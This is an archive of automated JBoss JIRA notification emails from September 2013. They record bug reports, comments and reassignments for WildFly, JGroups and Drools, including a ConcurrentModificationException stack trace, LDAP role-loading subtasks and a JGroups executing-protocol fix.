> 14:56:42,071 INFO  [org.jboss.as.osgi] (MSC service thread 1-5) JBAS011907: Register module: Module "deployment.EAR.ZZZ.rar:main" from Service Module Loader
> 14:56:42,148 INFO  [org.jboss.as.deployment.connector] (MSC service thread 1-8) JBAS010406: Registered connection factory java:/eis/ZZZ
> 14:56:42,150 INFO  [com.yyy.YYYResourceAdapter] (MSC service thread 1-8) #start
> 14:56:42,161 INFO  [org.jboss.as.connector.deployers.RADeployer] (MSC service thread 1-8) IJ020002: Deployed: ZZZ
> 14:56:42,167 INFO  [org.jboss.as.deployment.connector] (MSC service thread 1-1) JBAS010401: Bound JCA ConnectionFactory [java:/eis/ZZZ]
> 14:56:42,173 INFO  [org.jboss.as.deployment.connector] (MSC service thread 1-6) JBAS010406: Registered connection factory java:/eis/YYY
> 14:56:42,176 INFO  [com.zzz.ZZZResourceAdapter] (MSC service thread 1-6) #start
> 14:56:42,177 ERROR [org.jboss.msc.service] (MSC service thread 1-7) MSC00002: Invocation of listener "org.jboss.as.connector.deployers.ra.processors.ParsedRaDeploymentProcessor$1 at 21641d7d" failed: java.util.ConcurrentModificationException
> 	at java.util.HashMap$HashIterator.nextEntry(HashMap.java:894) [rt.jar:1.7.0_09]
> 	at java.util.HashMap$KeyIterator.next(HashMap.java:928) [rt.jar:1.7.0_09]
> 	at org.jboss.as.connector.subsystems.resourceadapters.IronJacamarResourceCreator.getIronJacamarResource(IronJacamarResourceCreator.java:268) [jboss-as-connector-7.1.3.Final.jar:7.1.3.Final]
> 	at org.jboss.as.connector.subsystems.resourceadapters.IronJacamarResourceCreator.execute(IronJacamarResourceCreator.java:283) [jboss-as-connector-7.1.3.Final.jar:7.1.3.Final]
> 	at org.jboss.as.connector.deployers.ra.processors.ParsedRaDeploymentProcessor$1.registerIronjacamar(ParsedRaDeploymentProcessor.java:160) [jboss-as-connector-7.1.3.Final.jar:7.1.3.Final]
> 	at org.jboss.as.connector.deployers.ra.processors.AbstractResourceAdapterDeploymentServiceListener.transition(AbstractResourceAdapterDeploymentServiceListener.java:153) [jboss-as-connector-7.1.3.Final.jar:7.1.3.Final]
> 	at org.jboss.msc.service.ServiceControllerImpl.invokeListener(ServiceControllerImpl.java:1416) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
> 	at org.jboss.msc.service.ServiceControllerImpl.access$2700(ServiceControllerImpl.java:49) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
> 	at org.jboss.msc.service.ServiceControllerImpl$ListenerTask.run(ServiceControllerImpl.java:1954) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1110) [rt.jar:1.7.0_09]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:603) [rt.jar:1.7.0_09]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_09]
> 14:56:42,182 INFO  [org.jboss.as.connector.deployers.RADeployer] (MSC service thread 1-6) IJ020002: Deployed: YYY
> 14:56:42,190 INFO  [org.jboss.as.deployment.connector] (MSC service thread 1-1) JBAS010401: Bound JCA ConnectionFactory [java:/eis/YYY]
> I've replaced the real names of my components with XXX, YYY and ZZZ in a consistent way above.  The problem seems to be during the interleaving of YYY and ZZZ.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 09:25:04 2013
From: jira-events at lists.jboss.org (James Olsen (JIRA))
Date: Mon, 16 Sep 2013 09:25:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2081) IronJacamarResourceCreator
 Throws ConcurrentModificationException
In-Reply-To: <JIRA.12500767.1379337851445@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500767.1379337851445@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500767.1379337851445.27629.1379337904763@jira02.app.mwc.hst.phx2.redhat.com>

James Olsen created WFLY-2081:
---------------------------------

             Summary: IronJacamarResourceCreator Throws ConcurrentModificationException
                 Key: WFLY-2081
                 URL: https://issues.jboss.org/browse/WFLY-2081
             Project: WildFly
          Issue Type: Bug
          Components: JCA
    Affects Versions: 8.0.0.Alpha4, 8.0.0.Beta1
            Reporter: James Olsen
            Assignee: Jesper Pedersen


Recent wildfly-8.0.0.Beta1-SNAPSHOT (IronJacamar 1.1.0.Final) throws following error intermittently when there are multiple RARs in an EAR:
13:12:34,710 ERROR [org.jboss.msc.service] (MSC service thread 1-10) MSC000002: Invocation of listener "org.jboss.as.connector.deployers.ra.processors.ParsedRaDeploymentProcessor$1 at e7b3aee" failed: java.util.ConcurrentModificationException
at java.util.HashMap$HashIterator.nextEntry(HashMap.java:894) [rt.jar:1.7.0_25]
at java.util.HashMap$KeyIterator.next(HashMap.java:928) [rt.jar:1.7.0_25]
at org.jboss.as.connector.subsystems.resourceadapters.IronJacamarResourceCreator.getIronJacamarResource(IronJacamarResourceCreator.java:335) [wildfly-connector-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
at org.jboss.as.connector.subsystems.resourceadapters.IronJacamarResourceCreator.execute(IronJacamarResourceCreator.java:350) [wildfly-connector-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
at org.jboss.as.connector.deployers.ra.processors.ParsedRaDeploymentProcessor$1.registerIronjacamar(ParsedRaDeploymentProcessor.java:145) [wildfly-connector-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
at org.jboss.as.connector.deployers.ra.processors.AbstractResourceAdapterDeploymentServiceListener.transition(AbstractResourceAdapterDeploymentServiceListener.java:244) [wildfly-connector-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
at org.jboss.msc.service.ServiceControllerImpl.invokeListener(ServiceControllerImpl.java:1533) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
at org.jboss.msc.service.ServiceControllerImpl.access$2800(ServiceControllerImpl.java:51) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
at org.jboss.msc.service.ServiceControllerImpl$ListenerTask.run(ServiceControllerImpl.java:2095) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]

Older versions had a similar problem as detailed in JBJCA-933 (which also shows interleaving example with 3 RARs).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 09:27:03 2013
From: jira-events at lists.jboss.org (James Olsen (JIRA))
Date: Mon, 16 Sep 2013 09:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2081) IronJacamarResourceCreator
 Throws ConcurrentModificationException
In-Reply-To: <JIRA.12500767.1379337851000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500767.1379337851000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500767.1379337851000.27632.1379338023417@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2081?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804487#comment-12804487 ] 

James Olsen commented on WFLY-2081:
-----------------------------------

https://bugzilla.redhat.com/show_bug.cgi?id=981093 also refers.
                
> IronJacamarResourceCreator Throws ConcurrentModificationException
> -----------------------------------------------------------------
>
>                 Key: WFLY-2081
>                 URL: https://issues.jboss.org/browse/WFLY-2081
>             Project: WildFly
>          Issue Type: Bug
>          Components: JCA
>    Affects Versions: 8.0.0.Alpha4, 8.0.0.Beta1
>            Reporter: James Olsen
>            Assignee: Jesper Pedersen
>
> Recent wildfly-8.0.0.Beta1-SNAPSHOT (IronJacamar 1.1.0.Final) throws following error intermittently when there are multiple RARs in an EAR:
> 13:12:34,710 ERROR [org.jboss.msc.service] (MSC service thread 1-10) MSC000002: Invocation of listener "org.jboss.as.connector.deployers.ra.processors.ParsedRaDeploymentProcessor$1 at e7b3aee" failed: java.util.ConcurrentModificationException
> at java.util.HashMap$HashIterator.nextEntry(HashMap.java:894) [rt.jar:1.7.0_25]
> at java.util.HashMap$KeyIterator.next(HashMap.java:928) [rt.jar:1.7.0_25]
> at org.jboss.as.connector.subsystems.resourceadapters.IronJacamarResourceCreator.getIronJacamarResource(IronJacamarResourceCreator.java:335) [wildfly-connector-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> at org.jboss.as.connector.subsystems.resourceadapters.IronJacamarResourceCreator.execute(IronJacamarResourceCreator.java:350) [wildfly-connector-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> at org.jboss.as.connector.deployers.ra.processors.ParsedRaDeploymentProcessor$1.registerIronjacamar(ParsedRaDeploymentProcessor.java:145) [wildfly-connector-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> at org.jboss.as.connector.deployers.ra.processors.AbstractResourceAdapterDeploymentServiceListener.transition(AbstractResourceAdapterDeploymentServiceListener.java:244) [wildfly-connector-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> at org.jboss.msc.service.ServiceControllerImpl.invokeListener(ServiceControllerImpl.java:1533) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
> at org.jboss.msc.service.ServiceControllerImpl.access$2800(ServiceControllerImpl.java:51) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
> at org.jboss.msc.service.ServiceControllerImpl$ListenerTask.run(ServiceControllerImpl.java:2095) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
> at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
> at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
> at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
> Older versions had a similar problem as detailed in JBJCA-933 (which also shows interleaving example with 3 RARs).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 09:27:03 2013
From: jira-events at lists.jboss.org (Jesper Pedersen (JIRA))
Date: Mon, 16 Sep 2013 09:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2081) IronJacamarResourceCreator
 Throws ConcurrentModificationException
In-Reply-To: <JIRA.12500767.1379337851000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500767.1379337851000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500767.1379337851000.27637.1379338023679@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2081?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jesper Pedersen reassigned WFLY-2081:
-------------------------------------

    Assignee: Stefano Maestri  (was: Jesper Pedersen)

    
> IronJacamarResourceCreator Throws ConcurrentModificationException
> -----------------------------------------------------------------
>
>                 Key: WFLY-2081
>                 URL: https://issues.jboss.org/browse/WFLY-2081
>             Project: WildFly
>          Issue Type: Bug
>          Components: JCA
>    Affects Versions: 8.0.0.Alpha4, 8.0.0.Beta1
>            Reporter: James Olsen
>            Assignee: Stefano Maestri
>
> Recent wildfly-8.0.0.Beta1-SNAPSHOT (IronJacamar 1.1.0.Final) throws following error intermittently when there are multiple RARs in an EAR:
> 13:12:34,710 ERROR [org.jboss.msc.service] (MSC service thread 1-10) MSC000002: Invocation of listener "org.jboss.as.connector.deployers.ra.processors.ParsedRaDeploymentProcessor$1 at e7b3aee" failed: java.util.ConcurrentModificationException
> at java.util.HashMap$HashIterator.nextEntry(HashMap.java:894) [rt.jar:1.7.0_25]
> at java.util.HashMap$KeyIterator.next(HashMap.java:928) [rt.jar:1.7.0_25]
> at org.jboss.as.connector.subsystems.resourceadapters.IronJacamarResourceCreator.getIronJacamarResource(IronJacamarResourceCreator.java:335) [wildfly-connector-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> at org.jboss.as.connector.subsystems.resourceadapters.IronJacamarResourceCreator.execute(IronJacamarResourceCreator.java:350) [wildfly-connector-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> at org.jboss.as.connector.deployers.ra.processors.ParsedRaDeploymentProcessor$1.registerIronjacamar(ParsedRaDeploymentProcessor.java:145) [wildfly-connector-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> at org.jboss.as.connector.deployers.ra.processors.AbstractResourceAdapterDeploymentServiceListener.transition(AbstractResourceAdapterDeploymentServiceListener.java:244) [wildfly-connector-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> at org.jboss.msc.service.ServiceControllerImpl.invokeListener(ServiceControllerImpl.java:1533) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
> at org.jboss.msc.service.ServiceControllerImpl.access$2800(ServiceControllerImpl.java:51) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
> at org.jboss.msc.service.ServiceControllerImpl$ListenerTask.run(ServiceControllerImpl.java:2095) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
> at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
> at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
> at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
> Older versions had a similar problem as detailed in JBJCA-933 (which also shows interleaving example with 3 RARs).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 09:35:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Mon, 16 Sep 2013 09:35:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2082) Ensure any connection used
 for LDAP authentication is re-used for loading the roles.
In-Reply-To: <JIRA.12500768.1379338457555@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500768.1379338457555@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500768.1379338457555.27698.1379338504123@jira02.app.mwc.hst.phx2.redhat.com>

Darran Lofthouse created WFLY-2082:
--------------------------------------

             Summary: Ensure any connection used for LDAP authentication is re-used for loading the roles.
                 Key: WFLY-2082
                 URL: https://issues.jboss.org/browse/WFLY-2082
             Project: WildFly
          Issue Type: Sub-task
          Components: Domain Management, Security
            Reporter: Darran Lofthouse
            Assignee: Darran Lofthouse
             Fix For: 8.0.0.Beta1


Where the same LDAP connection manager is used to load roles as was used for authentication we need to ensure the actual connection to the server is re-used.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 09:43:03 2013
From: jira-events at lists.jboss.org (Jeff Mesnil (JIRA))
Date: Mon, 16 Sep 2013 09:43:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2083) Upgrade to HornetQ 2.4.0.BETA2
In-Reply-To: <JIRA.12500769.1379338864544@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500769.1379338864544@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500769.1379338864544.27706.1379338983871@jira02.app.mwc.hst.phx2.redhat.com>

Jeff Mesnil created WFLY-2083:
---------------------------------

             Summary: Upgrade to HornetQ 2.4.0.BETA2
                 Key: WFLY-2083
                 URL: https://issues.jboss.org/browse/WFLY-2083
             Project: WildFly
          Issue Type: Component  Upgrade
          Components: JMS
    Affects Versions: 8.0.0.Alpha4
            Reporter: Jeff Mesnil
            Assignee: Jeff Mesnil
             Fix For: 8.0.0.Beta1




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 09:51:06 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Mon, 16 Sep 2013 09:51:06 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2084) Chaining of LDAP group
	loading.
In-Reply-To: <JIRA.12500770.1379339437361@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500770.1379339437361@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500770.1379339437361.27804.1379339466479@jira02.app.mwc.hst.phx2.redhat.com>

Darran Lofthouse created WFLY-2084:
--------------------------------------

             Summary: Chaining of LDAP group loading.
                 Key: WFLY-2084
                 URL: https://issues.jboss.org/browse/WFLY-2084
             Project: WildFly
          Issue Type: Sub-task
          Components: Domain Management, Security
            Reporter: Darran Lofthouse
            Assignee: Darran Lofthouse
             Fix For: 8.0.0.Beta1


LDAP may only be used for the loading of groups, authentication could still be by properties file or another mechanism.

Also both could be by LDAP.

>From the userid entered by a user in general the first step is to search for the user to establish their distinguished name - if we already have the distinguished name from authentication it can be re-used - if not we may need to search for it again during group loading.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 10:09:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 16 Sep 2013 10:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2085) Prevent server group scoped
 roles modifying the master HC if it has no servers
In-Reply-To: <JIRA.12500772.1379340528095@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500772.1379340528095@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500772.1379340528095.27835.1379340543385@jira02.app.mwc.hst.phx2.redhat.com>

Brian Stansberry created WFLY-2085:
--------------------------------------

             Summary: Prevent server group scoped roles modifying the master HC if it has no servers
                 Key: WFLY-2085
                 URL: https://issues.jboss.org/browse/WFLY-2085
             Project: WildFly
          Issue Type: Sub-task
          Components: Domain Management
            Reporter: Brian Stansberry
            Assignee: Brian Stansberry
             Fix For: 8.0.0.Beta1


Currently server group scoped roles with write or security-sensitive-read privileges are able to use those privileges with any HC that has no servers defined. This allows the role to do things like add a server in the group to a newly spun up host.

The master HC should be excluded from this ability. The master would typically not have servers, but not because it is a newly spun-up host.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 10:13:04 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Mon, 16 Sep 2013 10:13:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2001) JPA getNewTempClassLoader
 should support getPackage(String name)
In-Reply-To: <JIRA.12499967.1378309389000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499967.1378309389000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499967.1378309389000.27848.1379340784593@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2001?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804497#comment-12804497 ] 

Scott Marlow commented on WFLY-2001:
------------------------------------

Changing findClass, to also define the package addressed the issue.
                
> JPA getNewTempClassLoader should support getPackage(String name)
> ----------------------------------------------------------------
>
>                 Key: WFLY-2001
>                 URL: https://issues.jboss.org/browse/WFLY-2001
>             Project: WildFly
>          Issue Type: Bug
>          Components: JPA / Hibernate
>            Reporter: Scott Marlow
>            Assignee: Scott Marlow
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 10:15:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 10:15:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1988) SaslException at startup in
 domain mode using JAAS for ManagementRealm
In-Reply-To: <JIRA.12499810.1378201935000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499810.1378201935000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499810.1378201935000.27859.1379340905483@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1988?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804498#comment-12804498 ] 

RH Bugzilla Integration commented on WFLY-1988:
-----------------------------------------------

Emmanuel Hugonnet (ehsavoie) <ehugonne at redhat.com> made a comment on [bug 1003464|https://bugzilla.redhat.com/show_bug.cgi?id=1003464]

Using byte arrays to check for password equality instead of String fixes the bug
                
>  SaslException at startup in domain mode using JAAS for ManagementRealm
> -----------------------------------------------------------------------
>
>                 Key: WFLY-1988
>                 URL: https://issues.jboss.org/browse/WFLY-1988
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 10:59:03 2013
From: jira-events at lists.jboss.org (Anuj Shah (JIRA))
Date: Mon, 16 Sep 2013 10:59:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1696) Executing protocol loses work
 and ties up consumer when view changes
In-Reply-To: <JIRA.12500778.1379343428453@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500778.1379343428453@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500778.1379343428453.27965.1379343543425@jira02.app.mwc.hst.phx2.redhat.com>

Anuj Shah created JGRP-1696:
-------------------------------

             Summary: Executing protocol loses work and ties up consumer when view changes
                 Key: JGRP-1696
                 URL: https://issues.jboss.org/browse/JGRP-1696
             Project: JGroups
          Issue Type: Bug
    Affects Versions: 3.3.5, 3.2.12
            Reporter: Anuj Shah
            Assignee: Bela Ban
         Attachments: TestExecutingDisconnect.java

When a run is submitted to another cluster member and that member leaves the run is re-requested, but from the wrong owner. This results in the run never being completed and an awaiting consumer being removed from the coordinator list indefinitely.



--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 10:59:03 2013
From: jira-events at lists.jboss.org (Anuj Shah (JIRA))
Date: Mon, 16 Sep 2013 10:59:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1696) Executing protocol loses work
 and ties up consumer when view changes
In-Reply-To: <JIRA.12500778.1379343428000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500778.1379343428000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500778.1379343428000.27969.1379343543578@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1696?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Anuj Shah updated JGRP-1696:
----------------------------

    Attachment: TestExecutingDisconnect.java


See attached test to demonstrate the problem
                
> Executing protocol loses work and ties up consumer when view changes
> --------------------------------------------------------------------
>
>                 Key: JGRP-1696
>                 URL: https://issues.jboss.org/browse/JGRP-1696
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.2.12, 3.3.5
>            Reporter: Anuj Shah
>            Assignee: Bela Ban
>         Attachments: TestExecutingDisconnect.java
>
>
> When a run is submitted to another cluster member and that member leaves the run is re-requested, but from the wrong owner. This results in the run never being completed and an awaiting consumer being removed from the coordinator list indefinitely.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 11:01:05 2013
From: jira-events at lists.jboss.org (Anuj Shah (JIRA))
Date: Mon, 16 Sep 2013 11:01:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1696) Executing protocol loses work
 and ties up consumer when view changes
In-Reply-To: <JIRA.12500778.1379343428000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500778.1379343428000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500778.1379343428000.27976.1379343665046@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1696?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804522#comment-12804522 ] 

Anuj Shah commented on JGRP-1696:
---------------------------------

This line in {{ExecutingProtocol#handleView}} when handling awaiting returns need to to change so that address is the local address rather than the consumer address

{code:java}
                    sendToCoordinator(Type.RUN_REQUEST, owner.getRequestId(), 
                        owner.getAddress());
{code}
                
> Executing protocol loses work and ties up consumer when view changes
> --------------------------------------------------------------------
>
>                 Key: JGRP-1696
>                 URL: https://issues.jboss.org/browse/JGRP-1696
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.2.12, 3.3.5
>            Reporter: Anuj Shah
>            Assignee: Bela Ban
>         Attachments: TestExecutingDisconnect.java
>
>
> When a run is submitted to another cluster member and that member leaves the run is re-requested, but from the wrong owner. This results in the run never being completed and an awaiting consumer being removed from the coordinator list indefinitely.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 11:11:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 11:11:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-129) PKGs downloaded from guvor
 contain void references to the internal resources
In-Reply-To: <JIRA.12491066.1367655082000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12491066.1367655082000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12491066.1367655082000.27995.1379344263412@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-129?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804527#comment-12804527 ] 

RH Bugzilla Integration commented on DROOLS-129:
------------------------------------------------

Jiri Locker <jlocker at redhat.com> changed the Status of [bug 995058|https://bugzilla.redhat.com/show_bug.cgi?id=995058] from ON_QA to VERIFIED
                
> PKGs downloaded from guvor contain void references to the internal resources
> ----------------------------------------------------------------------------
>
>                 Key: DROOLS-129
>                 URL: https://issues.jboss.org/browse/DROOLS-129
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>            Reporter: Davide Sottara
>            Assignee: Mario Fusco
>            Priority: Minor
>             Fix For: 5.5.1.Final, 6.0.0.CR1
>
>
> Guvnor build PKGs using ReaderResources. When a PKG is downloaded by a client's PackageBuilder (using a UrlResource), the source resource for
> rules, declarations, etc.. is not updated to reflect the UrlResource

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 11:13:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 16 Sep 2013 11:13:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1696) Executing protocol loses work
 and ties up consumer when view changes
In-Reply-To: <JIRA.12500778.1379343428000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500778.1379343428000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500778.1379343428000.27999.1379344384109@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1696?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1696:
---------------------------

    Fix Version/s: 3.3.6
                   3.4


Any chance you could submit a PR ?
                
> Executing protocol loses work and ties up consumer when view changes
> --------------------------------------------------------------------
>
>                 Key: JGRP-1696
>                 URL: https://issues.jboss.org/browse/JGRP-1696
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.2.12, 3.3.5
>            Reporter: Anuj Shah
>            Assignee: Bela Ban
>             Fix For: 3.3.6, 3.4
>
>         Attachments: TestExecutingDisconnect.java
>
>
> When a run is submitted to another cluster member and that member leaves the run is re-requested, but from the wrong owner. This results in the run never being completed and an awaiting consumer being removed from the coordinator list indefinitely.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

